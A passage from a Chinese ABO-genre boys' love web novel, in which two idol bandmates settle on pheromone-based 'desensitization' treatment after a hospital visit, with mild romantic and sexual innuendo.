她惊讶地挑了挑眉,沉吟一会儿,表示方柏嘉体质特殊,她不可能像一般AO那样给他开药。
“你现在就好像一堆代码,虽然有缺陷,但也还算安全地运行了这么多年,真把你往正常人的激素值调整,不一定会比现在更好。而且这类药物副作用很大,轻则影响情绪睡眠,导致免疫力下降、长胖,重则还有其他患病风险,你确定你可以接受吗?”
“……那算了。”方柏嘉纠结了一下,念头终究还是被无情扑灭。
眼下回归在即,最好还是不要再出别的岔子。
于是没再说话。
在他之后,汤昼恒却突然开口:“我也有一个问题。”
他身体微微前倾,一只手搭在方柏嘉后方的座椅靠背上,一脸虚心求知的模样。
“如果中途更换给他标记的alpha,会怎么样?会对身体产生不好的危害吗?”
方柏嘉听完一愣。
这个思路……他倒是没想到过。
对啊,换一个人来,他不就不用非得要汤昼恒出马了?
下一秒又震惊了,这家伙想甩开他的心思也太明显了吧,连装都不装了。
说的这么直接,是在假借和医生的对话提醒他自己不会帮忙吗?
全然忘了最先在医生面前直言不讳的是他自己。
尽管已经做好了心理准备,真听对方说出这话的时候,方柏嘉还是感觉心上嗖嗖中了两箭。
林主任:“……”
如果不是她事先知道两人已经标记过,光听他们说的话,恐怕会以为汤昼恒只是好心将方柏嘉送来医院的无关人士。
现在的小年轻,都是怎么回事。感情状况这么混乱吗。
她推了推鼻梁上的眼镜,迟疑道:“理论上说可以,因为只是临时标记,就算被覆盖了,除了最开始的排异反应外,也不会有什么大的影响。但还是尽量不要换来换去吧。”
“好,我知道了,谢谢您。”汤昼恒不知道在想什么,这样说。
聊得差不多,二人准备离开。
临走前,林主任又想到什么,对他们补充:“对了,你们回去之后,身体舒适的情况下是可以同房的,但一定不要在炎症还没结束的时候就进入生殖腔,以免感染。”
汤昼恒下意识低头望向方柏嘉。
方柏嘉看起来恨不得找个地缝钻进去:“我们不会的。”
也弄不清说的是不会同房还是不会同房的时候草/生殖腔。
……
林主任给方柏嘉开了消炎药,看诊结束后还要去打吊瓶。
方柏嘉坐在输液大厅的椅子上等着输液的功夫,汤昼恒就站在他旁边的空地上和人通话。
Danny哥知道了方柏嘉生病来医院的消息,隔了几个小时打电话来询问情况。
恰巧这会儿护士走过来核对单子上的信息,汤昼恒举着手机,一边听着听筒那边经纪人的话,一边还侧眸观察方柏嘉这边的情况,不时替方柏嘉应一句:“对,是我们。麻烦,谢谢。嗯?我在跟护士说话。”
方柏嘉坐在原地,嘴都不用张。
护士给方柏嘉挂好水,好心提醒他:“打这个针嘴巴里会苦哦。”
方柏嘉轻轻点了点头,对方就走了。
汤昼恒还在和经纪人说话。
“现在已经看完了,在吊水,吊完水就回去。嗯,我等会直接带他回宿舍吧……什么病?”
对面的经纪人似乎问了个问题。
方柏嘉看似垂着眼睛单手在翻手机,实则一直在听汤昼恒那边的动静。
听到“什么病”这三个字,他立刻抬起头,一脸不妙地看向正举着手机的人。
汤昼恒感受到他的目光,侧过脸来。
只和方柏嘉对视了两眼,就移开视线,同时一只手再次搭上他的肩膀,意思是让他别担心。
“就是,激素紊乱,身体压力比较大,可能这段时间训练量有些超负荷了,加上他又刚过易感期没多久……对,嗯,我知道。”
方柏嘉这才放心下来,但还是一直盯着他。
不过半分钟,汤昼恒挂断电话。
他在方柏嘉的眼神注视下坐到了旁边的椅子上,大概猜到对方在想什么,说:“你的这个情况,我想也不太方便告诉别人,对公司那边,说的是你激素内分泌失调,导致信息素不太受控,需要一直佩戴阻隔贴。下次别人再问起来,你就这么讲。”
方柏嘉不知道该说什么,声音闷闷地道:“嗯,谢谢。”
“不客气。”汤昼恒说。
然后他们同时陷入了一阵沉默。
出了诊室,两人之间的气氛明显冷了下来。
不知道是不是错觉,方柏嘉感觉汤昼恒整个人都比刚才在车上的时候冷淡了,又或者说,心不在焉。
突然间,他站了起来,说了句“我离开一下”,就朝着远处的走廊走了过去。
方柏嘉眼睁睁看着汤昼恒的身影消失在墙壁转角处,开始无聊地想东想西。<
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说实话,他到现在都有一种不真实感。
自己的生殖腔再发育、性激素水平异常,这都是他很早以前就知道的事。只要不影响到日常生活,他也没怎么放在心上。
结果现在却被医生告知他产前发育有问题,接下来都要靠Alpha的信息素脱敏。
而他身上这么多年来的所有异常,其实都出自这个原因。包括方柏嘉易感期会比其他alpha更难熬、更容易疲惫,也是因为他体内的性激素在打架。
方柏嘉有些心情崩溃了。
明明之前都想好了要和汤昼恒保持距离,现在这算怎么回事。
难道真要按照汤昼恒的说法,再去找一个家伙来替代对方?
但他这个母单二十三年的人能找谁啊。
输液输了没一会儿,方柏嘉的嘴巴里真的像护士说的一样开始发苦。
有点恶心,他的思绪因此中断了一下,正想着汤昼恒到底跑到哪里去了,头顶就传来对方的声音。
“喏。”
方柏嘉抬起头,眼前是个圆溜溜的彩色物体。
那玩意离他的额头太近,他向后坐直起来,才看清去而复返的汤昼恒举到他跟前的东西是什么。
一根棒棒糖。
“要吃吗?刚刚去便利店买的。”
像是哄小孩的语气。
方柏嘉慢吞吞地、心情微妙地把糖接了过来,心想,原来刚刚护士说的话他听到了啊。
耳朵挺好使。
不过这直接递过来是要干什么,他一只手又不好操作。
这样想着,他也没求助,调整了一下姿势,用插着针那只手小心翼翼地捏住棍,试图用另一只手撕开糖衣。
哼,就是这么硬气。
结果可想而知地使不上力。
硬气了没几秒,棒棒糖又被汤昼恒拿回去了。
实在看不下去他那笨拙又费劲的样子,对方像是叹了口气,把糖衣拆了,才又还给方柏嘉。
但这次没送到他手上,而是直接递到他的嘴边,说:“张嘴。”
方柏嘉愣住了。
……这人是在撩吗?刹那间,他在心中不太确定地想。
还是仅仅作为队友的表示友好以及对病患的慰问?
汤昼恒有对组合里其他人这么做过吗?
没印象了。
单根食指拉下脸上的口罩,方柏嘉凑上去把糖含住。舌头抵着把它推到一边,左侧脸颊上紧跟着被顶出一个鼓包。
“谢谢。”他含混不清地说出今天第不知道多少次感谢,不知为什么脸有点烫。
方柏嘉在心中狠狠唾弃了一下自己不够争气,没怎么好意思接着看对方,两片薄薄的眼皮垂下去瞧着地板,假装认真地品尝着糖果的甜味。
下一秒,又见汤昼恒神不知鬼不觉地从他那外套口袋里再掏出一袋话梅,扯开包装递过来。
“还有这个,自己拿着吃。”
方柏嘉:“……”
所以刚才为什么不直接给他话梅?
8. 第 8 章
一共三大瓶药,陆陆续续输了三小时才终于输完。
彼时已经是傍晚七点多,汤昼恒又叫了个车载他们回去。
路上照旧无话,觉得空气有点沉闷,方柏嘉打开常去的APP逛了起来。
才在首页扒拉两下,大数据就自动给他推荐了路人视角偶遇的帖子。
封面配图就是他和汤昼恒坐在输液大厅里的画面,标题是【虽然不认识但嗑到鸡叫】。
发帖人:
【到医院看病输液,发现斜对面有两名戴口罩的男生,一个在吊水,一个陪他。吊水的那个睡着了头一直往旁边歪,另一个就不停看他,可能觉得这样睡太难受了,最后干脆把身上的外套脱下来给他垫上,吊水的那个迷迷糊糊起来看他一眼又接着睡超好笑。
ps这两个人都太帅了,不露全脸都肉眼可见的帅,腿长得医院座椅都装不下……越看越感觉不是明星应该也是模特,不知道有没有人能认出来?】
看到这里,方柏嘉点开大图仔细观察。
那会儿应该是输液的后半段,方柏嘉已经睡着了,头和肩膀之间垫着一块团起来的灰色物品,他的脑袋沉甸甸地枕在上边,睡得很沉。
而旁边的汤昼恒只穿着一件长袖T恤,坐在方柏嘉的左手边静静地刷着手机。
氛围感很足的一张照片。
拍摄者离得有点远,像素略有些模糊,但照片上手长腿长的入镜者做不了假,看着就令人赏心悦目。
方柏嘉盯着这张图看了许久,试图回想当时的情境,模模糊糊。
没想到旁人视角看起来是这样……
“饿了没?晚上想吃什么,我先点,到家可以少等会。”
现实里,汤昼恒的声音冷不丁自一旁响起,方柏嘉吓了一跳。
余光里看见对方侧头过来,顿时做贼心虚地把手机往自己的方向偏了偏,眼疾手快地退出帖子,手指向上猛滑。
大脑接收到对方在问的问题,他呆了两秒才道:“你和我一起吗?”
听起来很诧异。
大概被他梦游般的语气逗到,汤昼恒扭头看了方柏嘉一眼,似笑非笑,又像是有点意外地淡淡问:“不可以吗,你不愿意?”
好像他陪方柏嘉看了一下午的病,却不能一起共进晚餐,是个什么很过分的事情一样。
方柏嘉:“呃,也不是——”
他卡了一下,脑袋里飘过一众附近的外卖店名。
身体不舒服,吃什么都没劲。方柏嘉拿不准主意,把选择交给对方:“我没什么胃口,你看着点吧。”
“馄饨面?你得吃些清淡的。”
“行。”
其实这样反倒正合他意。
方柏嘉没睡着前就一直在考虑他该从哪搞个alpha来这件事:
对方要得自己刚好认识,刚好值得信任,刚好可以经常见面,最重要的是,要能接受得了去咬一个alpha的脖子。
考虑来考虑去,怎么看他身边只有一个汤昼恒符合以上全部条件。
而且汤昼恒还有一个最大的优点,是他已经清楚了方柏嘉的情况,不需要再费口舌解释,也早就实地上嘴咬过一回。
标记本身就是带有性/意味的动作,方柏嘉还没有大大咧咧到认为随便来个alpha都行的程度。
说到底,他为什么要放着一个已知的最优选不用,再去舍近求远呢?
起码就目前的情况看,对方在保密这点上还是值得放心的。
经过一下午无聊时的反复思考,方柏嘉的态度已经从最开始的“不能指望汤昼恒”演化成了“其实他来才是最合适的”。
事关自己的生命安危,情感问题可以往后稍。
不管对方到底怎么想的,方柏嘉都打算等二人独处时和汤昼恒谈谈。
*
回了宿舍,先是四名队友赶来探望。
他们刚下训练也没多久,本来正在楼下另一间宿舍里一起吃晚饭,上来简单寒暄了几分钟,担心影响方柏嘉休息,很快又起身告别。
屋子里一时间安静得让人不习惯。
方柏嘉假装去卫生间洗手,脑海里一直在构思等下要怎么开启话题。
前面做了那么多心理铺垫,真到了要开口的时候,方柏嘉又突然犹豫了。
一会儿想,对方都对着医生那么讲了,自己还硬着头皮找他商量,不是明摆着会被拒绝吗。
做人还是要保留一点最后的体面和尊严吧。
一会儿又想,让那人稍微出个力怎么了???
自己是绑架汤昼恒强迫他把舌头伸进来了,还是拿枪指着汤昼恒的头让他/顶/他了?
他一个易感期都只会花钱耍流氓的alpha能有什么攻击力。
对方要真不愿意,那晚就该直接走人,现在也不会变成这样。
不行,一定得说。
方柏嘉关上水龙头,一转身,和正从门口走进来的汤昼恒打上照面。
他愣住一瞬,下意识后退半步:“你要用吗?我……先出去?”
“不用。”汤昼恒拦住他,“我只是来看看你好了没有,感觉你一直在卫生间没出来。”
“啊……”方柏嘉张着双唇,眼神心虚地向一旁移开。
汤昼恒突然道:“可以和你聊聊吗?关于今天在医院,医生说的那些话。”
……咦???
几乎是瞬间,方柏嘉的目光又移回来。
只见汤昼恒视线垂下去,看似随意地轻轻把玩了下手下洗手台上那属于方柏嘉的护肤品。问他:
“你现在是什么想法?”
方柏嘉千算万算,没想到最后竟会是对方先提起这个话题。
迷糊了一会儿,不太理解汤昼恒的意思。
“什么想法”这种问题,是不是有点太宽泛了?
短暂怔愣一下的功夫,汤昼恒又问:“你有在谈恋爱的对象吗?”
……咦咦咦咦?
为什么话题又扯到谈恋爱上面了。
方柏嘉瞳孔放大一瞬,莫名道:“我没有啊?”
汤昼恒:“那你有没有其他能提供帮助的人选?”
这是在试探自己吗。
方柏嘉缓缓摇头:“也没有。”
他突然反应过来,意识到自己不能一直这么被动:“等等——我能不能先跟你道个歉?”
看见汤昼恒疑惑的神情,方柏嘉做了个吞咽的动作,往下说:“上次直播的事,一直没好意思跟你讲。但我后来想了想,确实是我做得不对。”
“我不该在那种场合让你下不来台,对不起。”
对方的表情看起来很诚恳。
没料到半个月前的事还会被方柏嘉拿出来聊,汤昼恒微微扬起眉毛,神色很是意外,等了一等才点头:“没关系。其实也没什么影响。”
“所以我可以知道是为什么吗?”
这才是他更意的。
方柏嘉十分为难地婉拒了:“你最好还是不要知道。”
汤昼恒:“。”
好的。
“还有就是今天——”方柏嘉又清清嗓子。
右手食指指尖下意识抠着洗手池台边,目光闪烁地抬眼:“中午我和江白树还有杭泽宇在练习室里说话,不知道你听到没有。”
汤昼恒就这样看着他,突然感觉有点好笑。
方柏嘉整体气质偏冷,五官精致,平时也不大爱说话,是很多还在上学的omega会喜欢的酷哥类型。
然而此刻,他的神情却像那种有心眼的小狗。拆完家后等着主人回来,因为不想认罚,哪怕试探也是小心翼翼的,除非真的被主人发现,否则绝对不会主动承认。
汤昼恒回想了一下:“噢。你是说我衣服有怪味那件事。”
方柏嘉:“…………”
他果然还是听到了。
“我不是故意那么说你的。”方柏嘉嗓音含混,“你今天听医生说了也知道,我这个情况就是会忍不住闻信息素。他们当时突然就进来了……”
方柏嘉突然深吸一口气。
因为对接下来要说的内容不好意思,他语速提得很快:“我不想被发现在偷闻你的衣服所以被问起来的时候只好撒了个小谎没想到
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你刚好也在但我真没觉得你的外套有味道——!”
话音骤停,又是一次深呼吸。
方柏嘉整个人萎靡下来,像被放了气的气球人般低声嘟囔第二次:“对不起。”
忽然翻自己老底,并非是方柏嘉心血来潮。
他毕竟有求于人,就要拿出求人的态度,过往的积怨和误会都先清干净了再谈别的,否则汤昼恒也不会高兴。
然而,作为一名众所周知性情古怪,连粉丝都热衷于给他比格塑的犟种,要让方柏嘉鼓起勇气说出这些话并不容易。
甚至可以说是精神虚脱。
说完,方柏嘉立刻垂下眼去看自己的拖鞋鞋尖。
两秒死寂之后,他疑似听到了有人在笑。
低低的,忍俊不禁,像是压在鼻腔里的一声。
?
方柏嘉抬起头,听见汤昼恒道:“嗯,我知道。”
……他知道?
汤昼恒说:“一开始我也有一点介意,但是在去医院的路上看见你那样,我就觉得——你应该还是挺喜欢我的味道的。”
对方的说法很含蓄,方柏嘉被他讲得脑回路跟着转了个弯,才想起自己在网约车上一个劲掀开汤昼恒的衣服往他腹肌里钻的流氓举动,脸上渐渐露出茫然呆滞之色。
像是被雷劈了。
紧接着,一阵热流直冲面颊。
不是,他这个一神志不清就性骚扰别人的习惯怎么改不过来?
下一秒又缓过来了,想,也行。
起码自己的清白是证明了。
方柏嘉扯了扯嘴角,以一脸恨不得现在就钻进瓷砖缝里去的尴尬神情干笑两声:“是挺好闻的。”
话都说到这儿了,方柏嘉决定一鼓作气。
“最后就是,你刚才说的医生让我找人脱敏的事。”
不想让汤昼恒察觉到他目前的处境是非他不可,方柏嘉故作声势:“我综合考量了一下,因为最近团体活动很频繁,到时候还要飞来飞去跑节目,可能不方便找别人,只有你是最近的,我希望你能帮忙。”
方柏嘉考虑明白了。
就算汤昼恒不喜欢他又怎么样,他长相不好吗,身材不好吗?多少人想花钱和他亲密接触都没机会,汤昼恒享都享受过了,凭什么置身事外?
就是这个气势,方柏嘉在心中鼓励自己。
——讲出你的需求,把事实有条有理地列出来,告诉对方这件事他也有责任。
方柏嘉想得很好,然而也不知道是不是被脑子里闪过那句“多少人想花钱和他亲密接触”给带偏,一张口,就变成了:
“如果你很在意,我可以花钱。”
话音还飘在半空中,方柏嘉的眼睛就已经睁大了。
救命,他刚才说了什么,这是可以补救的吗。
汤昼恒脸上的表情似乎也陷入了自我怀疑的沉思:“…………”
他沉默半秒:“像上次那样五分钟十万吗?”
方柏嘉:“……”
就知道这件事绕不过。
事已至此,他只能硬着头皮回答:“呃……你想要的话?”
放慢的语速和轻飘的尾音不难听出他的迟疑。
方柏嘉想了想,忽然觉得这样也不是不行。
他出钱,汤昼恒出信息素,钱货两讫,听起来很公平。
汤昼恒嘴角扯了扯,脸上的表情像是在说“你认真的?”。
“五分钟十万,医生建议每周至少一次、每次至少十五分钟,那就是三十万,一个月按四星期算是一百二十万。这么一年下来你要花——”
方柏嘉眼睛一眨不眨地看着他,闻言,下意识在心里做了个乘法,回答:“……一千四百四十万?”
靠,他这个计算能力放在娱乐圈能吊打百分之九十五的人吧。
方柏嘉的思维跑偏一瞬,然后又被汤昼恒拉回来。
对方从鼻间发出一声气音的浅哼,向后靠在盥洗室的大理石墙壁上,像是在笑。
“我怎么不知道我有这么值钱?”汤昼恒叫出他的全名,问他,“方柏嘉,你赚钱很多吗?”
9. 第 9 章
记忆里,汤昼恒很少这样对人直呼其名。
他毕竟是组合里年纪最大的,一旦喊人大名,就很容易显出压迫感,一般都是有正经事要商议时才可能这么叫。
然而此时此刻,方柏嘉这三个字在他嘴里却硬是被念出某种促狭的意味,每一个音节的咬字都松软又有磁性。
明明当中至少还有半米的距离,方柏嘉却无端感觉有一阵暖流从他耳畔酥麻麻地擦过。
什么鬼,他不会又在撩自己吧?
这是一般人说话会用到的语气吗?
方柏嘉脸上暗暗发热,觉得汤昼恒有点夸张。心想,我赚的是还可以啊……你小瞧我了吧。
他虽然不像汤昼恒一样拍戏,但好歹是组合里的另一个top,除去代言费和团体分红以外,写歌的版权费也能拿不少,一年一千多万还真没什么付不起。
汤昼恒自己更不必说,十来岁出头就混圈的人了,存款估计是他的几倍,什么“不知道我有这么值钱”,闹着玩呢?
不过对方说的也不是一点道理都没有。仅仅只是这种程度的亲密接触都那么贵,方柏嘉但凡再想干点别的,说不定汤昼恒真能把他这些年的家底掏空。
方柏嘉又反悔了,有些纠结地想,早知道不该把话说那么早。
要不然还是讲讲价?
他一脸踌躇的样子被汤昼恒看在眼里,认为方柏嘉真在因为钱的事情犹豫不决,不等方柏嘉把砍价的名目想出来就开口:“……我是开玩笑的,不用你给钱。”
听语气甚至有些无奈。
“啊?”方柏嘉一脸的状况外。
汤昼恒还以为他没听懂,又耐心解释:“这件事本来也和我有关,接下来马上又是回归期,你的身体出了问题,不管怎样我都责无旁贷。怎么可能要你的钱?”
“刚才问你什么想法也是为了确认。你要是有合适的人选,我就不多嘴了。没有的话,如果你需要,我也肯定不会不管。”
方柏嘉愣愣地听他说完这一番话,思绪宛如在走迷宫。两三秒后,忽然顿悟。
原来是这样。
自己毕竟是组合的一员,这个毛病解决不好,势必会影响接下来的活动安排和人员出勤率。到时候公司怪罪下来,排查原因,要是他把汤昼恒也供出来,两个人肯定会一起挨训。
作为队长,汤昼恒于情于理都不能抛下他不理,所以他之前那些担忧纯粹是多余了。
“哦……”方柏嘉不知道该说什么,只吐了一个字出来。
“所以,”汤昼恒停顿一下,接着道,“如果你非有什么一定想给别人钱的冲动,最好也稍微控制一下。”
刚才说到钱的时候,汤昼恒一度有冲动想问问他是不是有着某种不为人知的癖好,比如经常去高级会所点男模……之类的。
倒不是他有心要把方柏嘉往坏处想,可如果不是这样,对方怎么会每次一提到这种事就想到金钱交易上呢?
他们只是同事,汤昼恒并不了解方柏嘉的私生活,担心他在自己不知道的时候掉进娱乐圈的染缸,被什么人给带坏,只能这么委婉地劝告。
“?”
方柏嘉咂摸不出他的言外之意,只感觉自己又被汤昼恒内涵了一把易感期装阔佬结果还白嫖了的奇葩事迹,悻悻地露出一脸“你在说什么我听不懂”的表情。
没想到沟通过程竟会如此顺利,方柏嘉提了一下午的心终于落回原地之际,突然想到他还有个很重要的事没和汤昼恒弄清楚。
“等一下,那你呢?”
方柏嘉倏地问:“你现在有没有在谈恋爱?”
这个问题和刚才的话题略有些风马牛不相及,看着汤昼恒诧异的神色,方柏嘉意识到话的内容可能引起歧义,他的脸猝然红了一下,赶紧解释。
“我的意思是——虽然你确实是目前最合适的人选,但如果你有交男朋友或者女朋友的话,感觉也不太合适,我还是去找别人比较好。”
方柏嘉尽管是汤昼恒梦男,但实际上对对方的情感状况并不清楚,否则也不会看了网上一个不知真假的爆料就深夜在小号发疯。
虽然他对自己除了汤昼恒还能找谁并没有头绪,不过,态度还是要和对方摆明了的。
太缺德的事他做不出来。
方柏嘉双手抱臂,看似放松地踢了踢面前的瓷砖地板。
汤昼恒说:“我没有。”
对方想了想,似乎是在猜测方柏嘉的疑问从何而来:“你是在说唐宋吗?我没有在和她交往,只是普通朋友关系。”
“……”谁要听你解释得这么详细。
方柏嘉没想到他这也能猜中,欲盖弥彰地咳嗽一下,慢吞吞道:“噢……你不用跟我说这个,你那爆料我都没看。”
其实看完热搜他难受得凌晨四点都没睡着,差点把手上六位数的汤昼恒小卡卡盘挂到二手市场上出了。
“嗯……”汤昼恒说,“只是不想你误会。”
方柏嘉又干巴巴地“哦”一声。
心里却想,谁知道你说的是不是真的。
海王面对每条鱼的时候当然也都说自己只钓这一条,可实际情况谁晓得?
说不定汤昼恒这会儿正跟好几个人都暧昧着。
方柏嘉也不是非要把汤昼恒想得多坏多恶劣,但是——
对方一个精力旺盛的年轻alpha,长得巨他妈帅,身上还巨他妈有钱,说他不会趁着最好的年华尽情挥洒一下顶级的优质荷尔蒙,谁信?
……虽说方柏嘉自己也长得巨他妈帅,巨他妈有钱还一直没谈恋爱吧,但人和人能一样吗。
像他这么专一的A可不多见。
方柏嘉向来不惮以最大的恶意揣测男人的本性。
……
哎,暗恋一个人就是这么可悲。一方面不希望那个人谈恋爱,另一方面又很难相信对方没谈。
一阵沉默后。
汤昼恒的声音再度响起,很是心平气和地问他:“要今天就试一次吗?看看这样会不会让你好受点。”
终于来到重头戏,方柏嘉的心跳陡然加快:“……应该是要的吧。”
为了接下来的工作考虑,肯定是尽快开始适应,越早恢复健康的身体状态越好。
他不太确定地说:“现在吗?”
“看你。”
方柏嘉盯着洗手池考虑了两秒:“也行。”
话都聊到这儿了,不顺便试一把也说不过去。而且最主要的是再过一会儿陆翰音就该吃完饭了,得趁他回来前把这个事办完。
*
在方柏嘉的提议下,两人一起转道去了客厅。
——至于为什么不是私密性更好的卧室,原因是方柏嘉觉得太暧昧了,汤昼恒“故地重游”一次,太容易让人联想到上次易感期,这样不好。
坐在沙发上,稍稍四十五度侧过身,两人简单地对视一眼,
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很快将目光撇开,拘谨得都像被老师罚坐的学生。
最终还是汤昼恒先开口:“你想怎么做?标记?还是……接吻?”
说到“接吻”两个字,汤昼恒的语调似乎变得怪异起来,在他对面的方柏嘉的脸上也闪过一丝不自在,有些拿不定主意。
上来就说接吻?那有点太饥渴了吧,好像显得他对汤昼恒图谋不轨。
他在心里暗自嘀咕着,汤昼恒似乎看出他的犹豫,反倒比方柏嘉想得远一些,思考了几秒,问方柏嘉:“你现在还在戴阻隔贴,是我留下来的味道还是很浓么?”
方柏嘉被他说得一愣:“还可以吧……但就是没完全消掉。”
说到这事,他之前也烦恼过。
方柏嘉上网搜了alpha被咬后信息素大概多久能代谢掉的问题,答案是因人而异,一星期、一个月,甚至更长的都有。
现在半个月过去,汤昼恒给他的标记始终没能失效,可见他不是代谢快的那类人群。
“标记的话,戴阻隔贴的时间就会延长,可能不方便,而且一直戴这个也不方便伤口愈合,可能还是接吻好一些。”
汤昼恒顿了顿:“你介意吗?”
相当于直接帮方柏嘉选好了最优解。
方柏嘉有点意外,但觉得这样也好,不用在那装模作样地假纠结。
同时又心想,你看我易感期抱着你狂啃那个样像是会介意吗?这人揣着明白故意这么问的吧……?
表面上只是含糊地答:“嗯,还好。”
总不能说我怕和你亲着亲着把我爽死。
“那,”汤昼恒拿起手机,低头看了一眼时间,“我开始了?”
方柏嘉瞬间感觉自己变成了提线木偶,这回连个“嗯”都没挤出来,眼睁睁看和汤昼恒说完那句话后停顿两秒,确认方柏嘉没有异议,就朝自己靠近过来。
心跳猛烈提速,直到对方距离他十公分之隔时方柏嘉才想起来要闭眼。
再不闭要对上了。
睫毛慌乱地颤了颤,面前明显罩下一片阴影。
一阵夹杂着樱桃味的香风扑来,方柏嘉阖上的眼皮一抽,突然开始后悔答应和汤昼恒接吻。
他发现他真的会介意。
之前虽然也亲过,但他当时毕竟以为那是假的,半梦半醒间随着本能做出的动作,当然是怎么大胆怎么来,也不会有太多羞耻心和顾虑。
一旦到了清醒状态下,气氛则变得完全不同。
一想到接下来将发生什么,方柏嘉整个人都僵硬了,头晕目眩中甚至不知道手该放哪,姿势也不敢多动一下。
首先,他要和汤昼恒接吻了。
其次,他要和汤昼恒接吻了。
最后……
在他面前的这个人可是汤昼恒,而不是什么别人。
方柏嘉在紧急时刻扪心自问:你这种别人给点甜头就上钩、单身二十三年暗恋就占了五年的恋爱脑能挺住吗?该不会到时候治疗着治疗着越陷越深,真把自己栽进去了吧?
他思考0.01秒,得出的答案是,很有可能。
想想汤昼恒易感期那次的表现,还有对方的事后发言,根本就是不想负责的态度,他又为什么要自找苦头,去做会让自己胡思乱想的事?
想要逃跑的冲动在这一刻到达顶峰,转化成了行动。
温热气息即将抵达的前一秒,方柏嘉冷不丁张口:“等、等一下。”
10. 第 10 章
声音意外的虚弱又沙哑,仿佛明明还没亲上就已经脱了力。
方柏嘉用尽最大的定力强制把自己抽离出来,猛地偏头错开对方热的唇,头往后撤。
拉开双方之间的距离,又差点被顶头的灯光晃到眼。
他脸上匆匆一热,下意识闭上眼睛,清了清嗓子,嘴巴却还在飞快地动:“我感觉,我还是不太接受得了这样,要不然还是标记吧。”
……
一阵死寂。
两秒之后还是没有得到回答,方柏嘉小心翼翼把眼睛睁开,观察对方的反应。
汤昼恒脸上看起来并没有什么异色,像是在思考,沉默了一下说:“可是你的伤口——”
“这个没关系的。”
方柏嘉知道他要说什么,没等对方说完就道:“我晚上回宿舍到第二天出门前都不会戴阻隔贴,十几个小时应该够恢复了。而且,还有你之前给我的药。”
直到看见汤昼恒诧异的眼神,方柏嘉才意识到自己话说得有些太快、太迫不及待了。
他讷讷地动了下嘴唇,忽然又有点局促,不知道汤昼恒会怎么看他的临时反悔。
方柏嘉总是这样,一冲动上头起来就不管不顾,要等到话说完了才察觉不对。
担心会被汤昼恒误会,可是转念一想,他们之间又有什么好误会的呢?要是特意解释才显得他自作多情吧。
何况他会中途叫停的原因也没法和对方说。
“那好吧。”
汤昼恒没有过多追问:“注意伤口清洁,有什么不对的地方跟我说。”
他们的关系毕竟没有熟到汤昼恒可以更进一步地劝说,对方都这样讲了,他似乎也没有资格不同意。
茶几上的收纳盒里就有生理盐水棉签,汤昼恒帮方柏嘉消了毒,改成给他标记。
据说omega的这块皮肤为了服务于AO标记,早在百万年的进化中得痛感不那么敏感,但alpha明显没有。
腺体在青年的齿端如黄油一般轻松切开的瞬间,方柏嘉体内有关alpha的本性又涌上来,被人侵/犯到敏/感部位的感觉令他非常不适,痛感更是让他皱起眉头。
仿佛遭到同类挑衅,他的身体抽动一下,下意识要打架般抓住汤昼恒放在他旁边的手腕。
汤昼恒察觉到这点,收回牙齿,松开他后颈处的肌肤,舔掉白皙脖颈上的多余血渍,从扶着腰的动作改为在方柏嘉的后背轻拍:“放松。”
“你可以在我身上靠一会,现在才过去五分钟。”
“嗯。”方柏嘉说不出多余的话,闷闷地应了一声,却没有动,只用额头抵住他的颈窝。
直到注入腺体的信息素迅速生效,冲淡了皮肉层面的疼痛。锐利的扎刺感只维持了不到两三秒,很快被一阵浓烈的眩晕所替代。
方柏嘉低哼一声,身体顿时卸力,翻转过来,整个人以一种诡异的姿势顺着对方的胸膛慢慢下滑了五公分。
“……”
汤昼恒把他的身体扶正,终于问:“要不要坐到我腿上?”
刚才还软绵绵将侧脸贴在他胸口处的方柏嘉眼睛瞬间睁大,像没听清他的话似的,有些费力地缓缓抬头。
只见汤昼恒也正低垂着眼睛望着他,淡定地解释道:“这样方便抱着,你会舒服一点,应该也对脱敏治疗比较好。”
在谈及医嘱时,林主任有向二人解释过,当人们进行标记或者接吻这类举动时,血液信息素浓度会上升至85%,人体内的性激素水平将会自动调节,而这个过程要起码持续十五分钟才能见效。
也就是说,脖子是咬完了,但他们依然要在标记后的这段时间继续保持高频率的信息素交流。
方柏嘉显然也想到了这点,眼神移开。
又过了半分钟。
他慢吞吞在沙发上爬起来,坐到汤昼恒的大腿表面。
对方基本上还是刚才那个姿势,双腿微微打开地坐在沙发中间。见方柏嘉凑近过来,便很自然地伸出手,揽住他的腰肢,另一只手搭在他稍稍屈起来的膝盖上端。
方柏嘉也佯装松弛地靠在对方身上,腰身弯了弯,侧头枕住汤昼恒的肩膀——
其实目光都是直的,根本不敢往旁边看,只能心中不停安慰自己,这是为了疗效。
应该差不多了,接下来只要等剩下的时间过去就好。他屏住呼吸地想。
然而很快,方柏嘉就发现事情没有这么简单。
临时标记过后,本来就是人体极敏/感的阶段。他的身体会向对方打开更多的信息素接收通道,这时只需要简单的近距离拥抱,就能达到平时几倍的效果。
在这样的情况下,每一点身体摩擦,乃至呼吸交叠引起的反应都会被放大。
这才坐在对方怀里没一会的功夫,周遭的气温似乎又上升了好几度。方柏嘉热得快坐不住,光是和汤昼恒如此近距离的接触就让他心浮气躁,又隐隐有想像易感期那天那样挂在对方身上乱/蹭的冲动。
甚至,他还微微敬礼了。
“……”察觉到自身变化的方柏嘉先是呆了呆,紧接着恨不得一头撞死在沙发上。
好可怕的,低级的,原始的alpha!
方柏嘉越想越觉得害臊,但又不可能向汤昼恒开口,一番纠结之后,决定自己悄悄挪远一点。
两人离得太近了,近得他心悸。
他没跟汤昼恒打招呼,起身抬了一下屁股。
隔着裤子好像被什么东西给擦过。
方柏嘉人都还没反应过来,就听见汤昼恒隐忍的一声。
那声音很磁性,也略显低沉,因为是在猝不及防的状态下发出的,所以带着很明显的不健康意味。
方柏嘉被吓到,一下跌坐回原来的位置。
汤昼恒又是一记闷哼出来的喘。
方柏嘉的眼睛瞬间瞪大了:“……对不起!”
他一下有些慌神,都不知道自己在对不起些什么,靠近对方的那只手下意识去找支撑点,找了半天,却只是在对方的胸肌上一通乱摸。
方柏嘉只好撑着他的胸口借力,想要再坐起来,汤昼恒紧接着倒吸一口冷气,终于忍不了了似的开口:“……别乱动。”
声线都比平时听来更微妙地暗哑一点。
短短几秒就被方柏嘉搞得焦头烂额,汤昼恒叹了口气,生怕他再做出什么过分举动,赶忙抓住方柏嘉正在慌不择路作恶的那只手。
沙发上有条
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方柏嘉平时看电视用来盖的毯子,汤昼恒眼疾手快地从一旁拿起它,展开,将方柏嘉以最快速度裹住。
先是盖住正面,然后单手托着他的大腿把他抱起,另一只手顺势将多余的毯子垫到他的身下,全程甚至不需要方柏嘉配合出力。
——不出几秒的时间,怀里的人就只有小腿和脑袋还露在外面了。
